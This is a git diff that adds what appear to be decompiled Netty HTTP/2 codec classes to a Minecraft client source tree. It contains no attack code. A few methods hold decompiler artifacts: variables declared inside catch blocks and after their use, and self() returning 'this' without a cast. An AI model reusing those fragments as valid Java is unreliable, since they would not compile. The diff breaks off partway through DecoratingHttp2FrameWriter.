+    Http2FrameReader reader = new DefaultHttp2FrameReader(isValidateHeaders());
+    Http2FrameWriter writer = encoderIgnoreMaxHeaderListSize == null ? new DefaultHttp2FrameWriter(headerSensitivityDetector()) : new DefaultHttp2FrameWriter(headerSensitivityDetector(), encoderIgnoreMaxHeaderListSize.booleanValue());
+    
+
+
+    if (frameLogger != null) {
+      reader = new Http2InboundFrameLogger(reader, frameLogger);
+      writer = new Http2OutboundFrameLogger(writer, frameLogger);
+    }
+    
+    Http2ConnectionEncoder encoder = new DefaultHttp2ConnectionEncoder(connection, writer);
+    boolean encoderEnforceMaxConcurrentStreams = encoderEnforceMaxConcurrentStreams();
+    
+    if (encoderEnforceMaxConcurrentStreams) {
+      if (connection.isServer()) {
+        encoder.close();
+        reader.close();
+        throw new IllegalArgumentException("encoderEnforceMaxConcurrentStreams: " + encoderEnforceMaxConcurrentStreams + " not supported for server");
+      }
+      
+
+      encoder = new StreamBufferingEncoder(encoder);
+    }
+    
+    Http2ConnectionDecoder decoder = new DefaultHttp2ConnectionDecoder(connection, encoder, reader);
+    return buildFromCodec(decoder, encoder);
+  }
+  
+  private T buildFromCodec(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder)
+  {
+    try
+    {
+      handler = build(decoder, encoder, initialSettings);
+    } catch (Throwable t) { T handler;
+      encoder.close();
+      decoder.close();
+      throw new IllegalStateException("failed to build a Http2ConnectionHandler", t);
+    }
+    
+    T handler;
+    handler.gracefulShutdownTimeoutMillis(gracefulShutdownTimeoutMillis);
+    if (handler.decoder().frameListener() == null) {
+      handler.decoder().frameListener(frameListener);
+    }
+    return handler;
+  }
+  
+
+
+
+
+
+
+  protected abstract T build(Http2ConnectionDecoder paramHttp2ConnectionDecoder, Http2ConnectionEncoder paramHttp2ConnectionEncoder, Http2Settings paramHttp2Settings)
+    throws Exception;
+  
+
+
+
+
+
+
+  protected final B self()
+  {
+    return this;
+  }
+  
+  private void enforceNonCodecConstraints(String rejectee) {
+    enforceConstraint(rejectee, "server/connection", decoder);
+    enforceConstraint(rejectee, "server/connection", encoder);
+  }
+  
+  private static void enforceConstraint(String methodName, String rejectorName, Object value) {
+    if (value != null) {
+      throw new IllegalStateException(methodName + "() cannot be called because " + rejectorName + "() has been called already.");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamChannel.java b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamChannel.java
new file mode 100644
index 0000000..38a175f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamChannel.java
@@ -0,0 +1,334 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.EventLoop;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.ThrowableUtil;
+import java.net.SocketAddress;
+import java.nio.channels.ClosedChannelException;
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractHttp2StreamChannel
+  extends AbstractChannel
+{
+  protected static final Object CLOSE_MESSAGE = new Object();
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false, 16);
+  private static final ClosedChannelException CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), AbstractHttp2StreamChannel.class, "doWrite(...)");
+  
+
+
+  private static final int ARBITRARY_MESSAGE_SIZE = 9;
+  
+
+
+  private final ChannelConfig config = new DefaultChannelConfig(this);
+  private final Queue<Object> inboundBuffer = new ArrayDeque(4);
+  private final Runnable fireChildReadCompleteTask = new Runnable()
+  {
+    public void run() {
+      if (readInProgress) {
+        readInProgress = false;
+        unsafe().recvBufAllocHandle().readComplete();
+        pipeline().fireChannelReadComplete();
+      }
+    }
+  };
+  
+
+  private volatile int streamId = -1;
+  private boolean closed;
+  private boolean readInProgress;
+  
+  protected AbstractHttp2StreamChannel(Channel parent) {
+    super(parent);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public ChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return !closed;
+  }
+  
+  public boolean isActive()
+  {
+    return isOpen();
+  }
+  
+  protected AbstractChannel.AbstractUnsafe newUnsafe()
+  {
+    return new Unsafe(null);
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return true;
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return parent().localAddress();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return parent().remoteAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    closed = true;
+    while (!inboundBuffer.isEmpty()) {
+      ReferenceCountUtil.release(inboundBuffer.poll());
+    }
+  }
+  
+  protected void doBeginRead()
+  {
+    if (readInProgress) {
+      return;
+    }
+    
+    RecvByteBufAllocator.Handle allocHandle = unsafe().recvBufAllocHandle();
+    allocHandle.reset(config());
+    if (inboundBuffer.isEmpty()) {
+      readInProgress = true;
+    }
+    else
+    {
+      do {
+        Object m = inboundBuffer.poll();
+        if (m == null) {
+          break;
+        }
+        if (!doRead0(m, allocHandle))
+        {
+          return;
+        }
+      } while (allocHandle.continueReading());
+      
+      allocHandle.readComplete();
+      pipeline().fireChannelReadComplete();
+    }
+  }
+  
+  protected final void doWrite(ChannelOutboundBuffer in) throws Exception {
+    if (closed) {
+      throw CLOSED_CHANNEL_EXCEPTION;
+    }
+    
+    EventExecutor preferredExecutor = preferredEventExecutor();
+    
+
+
+
+
+
+    if (preferredExecutor.inEventLoop()) {
+      for (;;) {
+        Object msg = in.current();
+        if (msg == null) {
+          break;
+        }
+        try {
+          doWrite(ReferenceCountUtil.retain(msg));
+        }
+        catch (Throwable t)
+        {
+          pipeline().fireExceptionCaught(t);
+        }
+        in.remove();
+      }
+      doWriteComplete();
+    }
+    else {
+      final Object[] msgsCopy = new Object[in.size()];
+      for (int i = 0; i < msgsCopy.length; i++) {
+        msgsCopy[i] = ReferenceCountUtil.retain(in.current());
+        in.remove();
+      }
+      
+      preferredExecutor.execute(new Runnable()
+      {
+        public void run() {
+          for (Object msg : msgsCopy) {
+            try {
+              doWrite(msg);
+            } catch (Throwable t) {
+              pipeline().fireExceptionCaught(t);
+            }
+          }
+          doWriteComplete();
+        }
+      });
+    }
+  }
+  
+
+
+
+
+  protected abstract void doWrite(Object paramObject)
+    throws Exception;
+  
+
+
+
+
+  protected abstract void doWriteComplete();
+  
+
+
+
+  protected abstract EventExecutor preferredEventExecutor();
+  
+
+
+
+  protected abstract void bytesConsumed(int paramInt);
+  
+
+
+
+  protected void fireChildRead(final Object msg)
+  {
+    if (eventLoop().inEventLoop()) {
+      fireChildRead0(msg);
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          AbstractHttp2StreamChannel.this.fireChildRead0(msg);
+        }
+      });
+    }
+  }
+  
+  private void fireChildRead0(Object msg) {
+    if (closed) {
+      ReferenceCountUtil.release(msg);
+      return;
+    }
+    if (readInProgress) {
+      assert (inboundBuffer.isEmpty());
+      
+
+      RecvByteBufAllocator.Handle allocHandle = unsafe().recvBufAllocHandle();
+      readInProgress = doRead0(ObjectUtil.checkNotNull(msg, "msg"), allocHandle);
+      if (!allocHandle.continueReading()) {
+        fireChildReadCompleteTask.run();
+      }
+    } else {
+      inboundBuffer.add(msg);
+    }
+  }
+  
+  protected void fireChildReadComplete() {
+    if (eventLoop().inEventLoop()) {
+      fireChildReadCompleteTask.run();
+    } else {
+      eventLoop().execute(fireChildReadCompleteTask);
+    }
+  }
+  
+
+
+  protected void streamId(int streamId)
+  {
+    if (this.streamId != -1) {
+      throw new IllegalStateException("Stream identifier may only be set once.");
+    }
+    this.streamId = ObjectUtil.checkPositiveOrZero(streamId, "streamId");
+  }
+  
+  protected int streamId() {
+    return streamId;
+  }
+  
+
+
+
+  private boolean doRead0(Object msg, RecvByteBufAllocator.Handle allocHandle)
+  {
+    if (msg == CLOSE_MESSAGE) {
+      allocHandle.readComplete();
+      pipeline().fireChannelReadComplete();
+      unsafe().close(voidPromise());
+      return false;
+    }
+    int numBytesToBeConsumed = 0;
+    if ((msg instanceof Http2DataFrame)) {
+      Http2DataFrame data = (Http2DataFrame)msg;
+      numBytesToBeConsumed = data.content().readableBytes() + data.padding();
+      allocHandle.lastBytesRead(numBytesToBeConsumed);
+    } else {
+      allocHandle.lastBytesRead(9);
+    }
+    allocHandle.incMessagesRead(1);
+    pipeline().fireChannelRead(msg);
+    if (numBytesToBeConsumed != 0) {
+      bytesConsumed(numBytesToBeConsumed);
+    }
+    return true;
+  }
+  
+  private final class Unsafe extends AbstractChannel.AbstractUnsafe { private Unsafe() { super(); }
+    
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      promise.setFailure(new UnsupportedOperationException());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamFrame.java b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamFrame.java
new file mode 100644
index 0000000..656326c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamFrame.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractHttp2StreamFrame
+  implements Http2StreamFrame
+{
+  private volatile int streamId = -1;
+  
+  public AbstractHttp2StreamFrame() {}
+  
+  public AbstractHttp2StreamFrame streamId(int streamId) { if (this.streamId != -1) {
+      throw new IllegalStateException("Stream identifier may only be set once.");
+    }
+    this.streamId = ObjectUtil.checkPositiveOrZero(streamId, "streamId");
+    return this;
+  }
+  
+  public int streamId()
+  {
+    return streamId;
+  }
+  
+
+
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Http2StreamFrame)) {
+      return false;
+    }
+    Http2StreamFrame other = (Http2StreamFrame)o;
+    return streamId == other.streamId();
+  }
+  
+  public int hashCode()
+  {
+    return streamId;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamStateEvent.java b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamStateEvent.java
new file mode 100644
index 0000000..c1d7558
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2StreamStateEvent.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractHttp2StreamStateEvent
+  implements Http2StreamStateEvent
+{
+  private final int streamId;
+  
+  protected AbstractHttp2StreamStateEvent(int streamId)
+  {
+    this.streamId = ObjectUtil.checkPositiveOrZero(streamId, "streamId");
+  }
+  
+  public int streamId()
+  {
+    return streamId;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/AbstractInboundHttp2ToHttpAdapterBuilder.java b/src/minecraft/io/netty/handler/codec/http2/AbstractInboundHttp2ToHttpAdapterBuilder.java
new file mode 100644
index 0000000..2e37350
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/AbstractInboundHttp2ToHttpAdapterBuilder.java
@@ -0,0 +1,133 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractInboundHttp2ToHttpAdapterBuilder<T extends InboundHttp2ToHttpAdapter, B extends AbstractInboundHttp2ToHttpAdapterBuilder<T, B>>
+{
+  private final Http2Connection connection;
+  private int maxContentLength;
+  private boolean validateHttpHeaders;
+  private boolean propagateSettings;
+  
+  protected AbstractInboundHttp2ToHttpAdapterBuilder(Http2Connection connection)
+  {
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+  }
+  
+  protected final B self()
+  {
+    return this;
+  }
+  
+
+
+  protected Http2Connection connection()
+  {
+    return connection;
+  }
+  
+
+
+  protected int maxContentLength()
+  {
+    return maxContentLength;
+  }
+  
+
+
+
+
+
+
+  protected B maxContentLength(int maxContentLength)
+  {
+    this.maxContentLength = maxContentLength;
+    return self();
+  }
+  
+
+
+  protected boolean isValidateHttpHeaders()
+  {
+    return validateHttpHeaders;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected B validateHttpHeaders(boolean validate)
+  {
+    validateHttpHeaders = validate;
+    return self();
+  }
+  
+
+
+  protected boolean isPropagateSettings()
+  {
+    return propagateSettings;
+  }
+  
+
+
+
+
+
+
+  protected B propagateSettings(boolean propagate)
+  {
+    propagateSettings = propagate;
+    return self();
+  }
+  
+
+
+  protected T build()
+  {
+    try
+    {
+      instance = build(connection(), maxContentLength(), isValidateHttpHeaders(), isPropagateSettings());
+    } catch (Throwable t) {
+      T instance;
+      throw new IllegalStateException("failed to create a new InboundHttp2ToHttpAdapter", t); }
+    T instance;
+    connection.addListener(instance);
+    return instance;
+  }
+  
+  protected abstract T build(Http2Connection paramHttp2Connection, int paramInt, boolean paramBoolean1, boolean paramBoolean2)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/CharSequenceMap.java b/src/minecraft/io/netty/handler/codec/http2/CharSequenceMap.java
new file mode 100644
index 0000000..6b3b578
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/CharSequenceMap.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.handler.codec.DefaultHeaders;
+import io.netty.handler.codec.DefaultHeaders.NameValidator;
+import io.netty.handler.codec.UnsupportedValueConverter;
+import io.netty.handler.codec.ValueConverter;
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharSequenceMap<V>
+  extends DefaultHeaders<CharSequence, V, CharSequenceMap<V>>
+{
+  public CharSequenceMap()
+  {
+    this(true);
+  }
+  
+  public CharSequenceMap(boolean caseSensitive) {
+    this(caseSensitive, UnsupportedValueConverter.instance());
+  }
+  
+  public CharSequenceMap(boolean caseSensitive, ValueConverter<V> valueConverter) {
+    super(caseSensitive ? AsciiString.CASE_SENSITIVE_HASHER : AsciiString.CASE_INSENSITIVE_HASHER, valueConverter);
+  }
+  
+  public CharSequenceMap(boolean caseSensitive, ValueConverter<V> valueConverter, int arraySizeHint)
+  {
+    super(caseSensitive ? AsciiString.CASE_SENSITIVE_HASHER : AsciiString.CASE_INSENSITIVE_HASHER, valueConverter, DefaultHeaders.NameValidator.NOT_NULL, arraySizeHint);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/CompressorHttp2ConnectionEncoder.java b/src/minecraft/io/netty/handler/codec/http2/CompressorHttp2ConnectionEncoder.java
new file mode 100644
index 0000000..aeb1af8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/CompressorHttp2ConnectionEncoder.java
@@ -0,0 +1,318 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.util.AsciiString;
+import io.netty.util.concurrent.PromiseCombiner;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompressorHttp2ConnectionEncoder
+  extends DecoratingHttp2ConnectionEncoder
+{
+  public static final int DEFAULT_COMPRESSION_LEVEL = 6;
+  public static final int DEFAULT_WINDOW_BITS = 15;
+  public static final int DEFAULT_MEM_LEVEL = 8;
+  private final int compressionLevel;
+  private final int windowBits;
+  private final int memLevel;
+  private final Http2Connection.PropertyKey propertyKey;
+  
+  public CompressorHttp2ConnectionEncoder(Http2ConnectionEncoder delegate)
+  {
+    this(delegate, 6, 15, 8);
+  }
+  
+  public CompressorHttp2ConnectionEncoder(Http2ConnectionEncoder delegate, int compressionLevel, int windowBits, int memLevel)
+  {
+    super(delegate);
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    if ((windowBits < 9) || (windowBits > 15)) {
+      throw new IllegalArgumentException("windowBits: " + windowBits + " (expected: 9-15)");
+    }
+    if ((memLevel < 1) || (memLevel > 9)) {
+      throw new IllegalArgumentException("memLevel: " + memLevel + " (expected: 1-9)");
+    }
+    this.compressionLevel = compressionLevel;
+    this.windowBits = windowBits;
+    this.memLevel = memLevel;
+    
+    propertyKey = connection().newKey();
+    connection().addListener(new Http2ConnectionAdapter()
+    {
+      public void onStreamRemoved(Http2Stream stream) {
+        EmbeddedChannel compressor = (EmbeddedChannel)stream.getProperty(propertyKey);
+        if (compressor != null) {
+          cleanup(stream, compressor);
+        }
+      }
+    });
+  }
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    Http2Stream stream = connection().stream(streamId);
+    EmbeddedChannel channel = stream == null ? null : (EmbeddedChannel)stream.getProperty(propertyKey);
+    if (channel == null)
+    {
+      return super.writeData(ctx, streamId, data, padding, endOfStream, promise);
+    }
+    
+    try
+    {
+      channel.writeOutbound(new Object[] { data });
+      ByteBuf buf = nextReadableBuf(channel);
+      if (buf == null) { Object localObject1;
+        if (endOfStream) {
+          if (channel.finish()) {
+            buf = nextReadableBuf(channel);
+          }
+          return super.writeData(ctx, streamId, buf == null ? Unpooled.EMPTY_BUFFER : buf, padding, true, promise);
+        }
+        
+
+        promise.setSuccess();
+        return promise;
+      }
+      
+      PromiseCombiner combiner = new PromiseCombiner();
+      for (;;) {
+        ByteBuf nextBuf = nextReadableBuf(channel);
+        boolean compressedEndOfStream = (nextBuf == null) && (endOfStream);
+        if ((compressedEndOfStream) && (channel.finish())) {
+          nextBuf = nextReadableBuf(channel);
+          compressedEndOfStream = nextBuf == null;
+        }
+        
+        ChannelPromise bufPromise = ctx.newPromise();
+        combiner.add(bufPromise);
+        super.writeData(ctx, streamId, buf, padding, compressedEndOfStream, bufPromise);
+        if (nextBuf == null) {
+          break;
+        }
+        
+        padding = 0;
+        buf = nextBuf;
+      }
+      combiner.finish(promise);
+    } catch (Throwable cause) {
+      promise.tryFailure(cause);
+    } finally {
+      if (endOfStream) {
+        cleanup(stream, channel);
+      }
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    try
+    {
+      EmbeddedChannel compressor = newCompressor(ctx, headers, endStream);
+      
+
+      ChannelFuture future = super.writeHeaders(ctx, streamId, headers, padding, endStream, promise);
+      
+
+      bindCompressorToStream(compressor, streamId);
+      
+      return future;
+    } catch (Throwable e) {
+      promise.tryFailure(e);
+    }
+    return promise;
+  }
+  
+
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    try
+    {
+      EmbeddedChannel compressor = newCompressor(ctx, headers, endOfStream);
+      
+
+      ChannelFuture future = super.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+      
+
+
+      bindCompressorToStream(compressor, streamId);
+      
+      return future;
+    } catch (Throwable e) {
+      promise.tryFailure(e);
+    }
+    return promise;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected EmbeddedChannel newContentCompressor(ChannelHandlerContext ctx, CharSequence contentEncoding)
+    throws Http2Exception
+  {
+    if ((HttpHeaderValues.GZIP.contentEqualsIgnoreCase(contentEncoding)) || (HttpHeaderValues.X_GZIP.contentEqualsIgnoreCase(contentEncoding))) {
+      return newCompressionChannel(ctx, ZlibWrapper.GZIP);
+    }
+    if ((HttpHeaderValues.DEFLATE.contentEqualsIgnoreCase(contentEncoding)) || (HttpHeaderValues.X_DEFLATE.contentEqualsIgnoreCase(contentEncoding))) {
+      return newCompressionChannel(ctx, ZlibWrapper.ZLIB);
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected CharSequence getTargetContentEncoding(CharSequence contentEncoding)
+    throws Http2Exception
+  {
+    return contentEncoding;
+  }
+  
+
+
+
+
+  private EmbeddedChannel newCompressionChannel(ChannelHandlerContext ctx, ZlibWrapper wrapper)
+  {
+    return new EmbeddedChannel(ctx.channel().id(), ctx.channel().metadata().hasDisconnect(), ctx.channel().config(), new ChannelHandler[] { ZlibCodecFactory.newZlibEncoder(wrapper, compressionLevel, windowBits, memLevel) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private EmbeddedChannel newCompressor(ChannelHandlerContext ctx, Http2Headers headers, boolean endOfStream)
+    throws Http2Exception
+  {
+    if (endOfStream) {
+      return null;
+    }
+    
+    CharSequence encoding = (CharSequence)headers.get(HttpHeaderNames.CONTENT_ENCODING);
+    if (encoding == null) {
+      encoding = HttpHeaderValues.IDENTITY;
+    }
+    EmbeddedChannel compressor = newContentCompressor(ctx, encoding);
+    if (compressor != null) {
+      CharSequence targetContentEncoding = getTargetContentEncoding(encoding);
+      if (HttpHeaderValues.IDENTITY.contentEqualsIgnoreCase(targetContentEncoding)) {
+        headers.remove(HttpHeaderNames.CONTENT_ENCODING);
+      } else {
+        headers.set(HttpHeaderNames.CONTENT_ENCODING, targetContentEncoding);
+      }
+      
+
+
+
+      headers.remove(HttpHeaderNames.CONTENT_LENGTH);
+    }
+    
+    return compressor;
+  }
+  
+
+
+
+
+  private void bindCompressorToStream(EmbeddedChannel compressor, int streamId)
+  {
+    if (compressor != null) {
+      Http2Stream stream = connection().stream(streamId);
+      if (stream != null) {
+        stream.setProperty(propertyKey, compressor);
+      }
+    }
+  }
+  
+
+
+
+
+
+  void cleanup(Http2Stream stream, EmbeddedChannel compressor)
+  {
+    if (compressor.finish()) {
+      for (;;) {
+        ByteBuf buf = (ByteBuf)compressor.readOutbound();
+        if (buf == null) {
+          break;
+        }
+        
+        buf.release();
+      }
+    }
+    stream.removeProperty(propertyKey);
+  }
+  
+
+
+  private static ByteBuf nextReadableBuf(EmbeddedChannel compressor)
+  {
+    ByteBuf buf;
+    
+    for (;;)
+    {
+      buf = (ByteBuf)compressor.readOutbound();
+      if (buf == null) {
+        return null;
+      }
+      if (buf.isReadable()) break;
+      buf.release();
+    }
+    
+    return buf;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionDecoder.java b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionDecoder.java
new file mode 100644
index 0000000..06f727c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionDecoder.java
@@ -0,0 +1,80 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecoratingHttp2ConnectionDecoder
+  implements Http2ConnectionDecoder
+{
+  private final Http2ConnectionDecoder delegate;
+  
+  public DecoratingHttp2ConnectionDecoder(Http2ConnectionDecoder delegate)
+  {
+    this.delegate = ((Http2ConnectionDecoder)ObjectUtil.checkNotNull(delegate, "delegate"));
+  }
+  
+  public void lifecycleManager(Http2LifecycleManager lifecycleManager)
+  {
+    delegate.lifecycleManager(lifecycleManager);
+  }
+  
+  public Http2Connection connection()
+  {
+    return delegate.connection();
+  }
+  
+  public Http2LocalFlowController flowController()
+  {
+    return delegate.flowController();
+  }
+  
+  public void frameListener(Http2FrameListener listener)
+  {
+    delegate.frameListener(listener);
+  }
+  
+  public Http2FrameListener frameListener()
+  {
+    return delegate.frameListener();
+  }
+  
+  public void decodeFrame(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Http2Exception
+  {
+    delegate.decodeFrame(ctx, in, out);
+  }
+  
+  public Http2Settings localSettings()
+  {
+    return delegate.localSettings();
+  }
+  
+  public boolean prefaceReceived()
+  {
+    return delegate.prefaceReceived();
+  }
+  
+  public void close()
+  {
+    delegate.close();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionEncoder.java b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionEncoder.java
new file mode 100644
index 0000000..d0987fa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2ConnectionEncoder.java
@@ -0,0 +1,62 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecoratingHttp2ConnectionEncoder
+  extends DecoratingHttp2FrameWriter
+  implements Http2ConnectionEncoder
+{
+  private final Http2ConnectionEncoder delegate;
+  
+  public DecoratingHttp2ConnectionEncoder(Http2ConnectionEncoder delegate)
+  {
+    super(delegate);
+    this.delegate = ((Http2ConnectionEncoder)ObjectUtil.checkNotNull(delegate, "delegate"));
+  }
+  
+  public void lifecycleManager(Http2LifecycleManager lifecycleManager)
+  {
+    delegate.lifecycleManager(lifecycleManager);
+  }
+  
+  public Http2Connection connection()
+  {
+    return delegate.connection();
+  }
+  
+  public Http2RemoteFlowController flowController()
+  {
+    return delegate.flowController();
+  }
+  
+  public Http2FrameWriter frameWriter()
+  {
+    return delegate.frameWriter();
+  }
+  
+  public Http2Settings pollSentSettings()
+  {
+    return delegate.pollSentSettings();
+  }
+  
+  public void remoteSettings(Http2Settings settings) throws Http2Exception
+  {
+    delegate.remoteSettings(settings);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2FrameWriter.java b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2FrameWriter.java
new file mode 100644
index 0000000..932b4c3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DecoratingHttp2FrameWriter.java
@@ -0,0 +1,116 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecoratingHttp2FrameWriter
+  implements Http2FrameWriter
+{
+  private final Http2FrameWriter delegate;
+  
+  public DecoratingHttp2FrameWriter(Http2FrameWriter delegate)
+  {
+    this.delegate = ((Http2FrameWriter)ObjectUtil.checkNotNull(delegate, "delegate"));
+  }
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return delegate.writeData(ctx, streamId, data, padding, endStream, promise);
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return delegate.writeHeaders(ctx, streamId, headers, padding, endStream, promise);
+  }
+  
+
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return delegate.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream, promise);
+  }
+  
+
+
+  public ChannelFuture writePriority(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive, ChannelPromise promise)
+  {
+    return delegate.writePriority(ctx, streamId, streamDependency, weight, exclusive, promise);
+  }
+  
+
+  public ChannelFuture writeRstStream(ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    return delegate.writeRstStream(ctx, streamId, errorCode, promise);
+  }
+  
+  public ChannelFuture writeSettings(ChannelHandlerContext ctx, Http2Settings settings, ChannelPromise promise)
+  {
+    return delegate.writeSettings(ctx, settings, promise);
+  }
+  
+  public ChannelFuture writeSettingsAck(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    return delegate.writeSettingsAck(ctx, promise);
+  }
+  
+  public ChannelFuture writePing(ChannelHandlerContext ctx, boolean ack, ByteBuf data, ChannelPromise promise)
+  {
+    return delegate.writePing(ctx, ack, data, promise);
+  }
+  
+
+  public ChannelFuture writePushPromise(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding, ChannelPromise promise)
+  {
+    return delegate.writePushPromise(ctx, streamId, promisedStreamId, headers, padding, promise);
+  }
+  
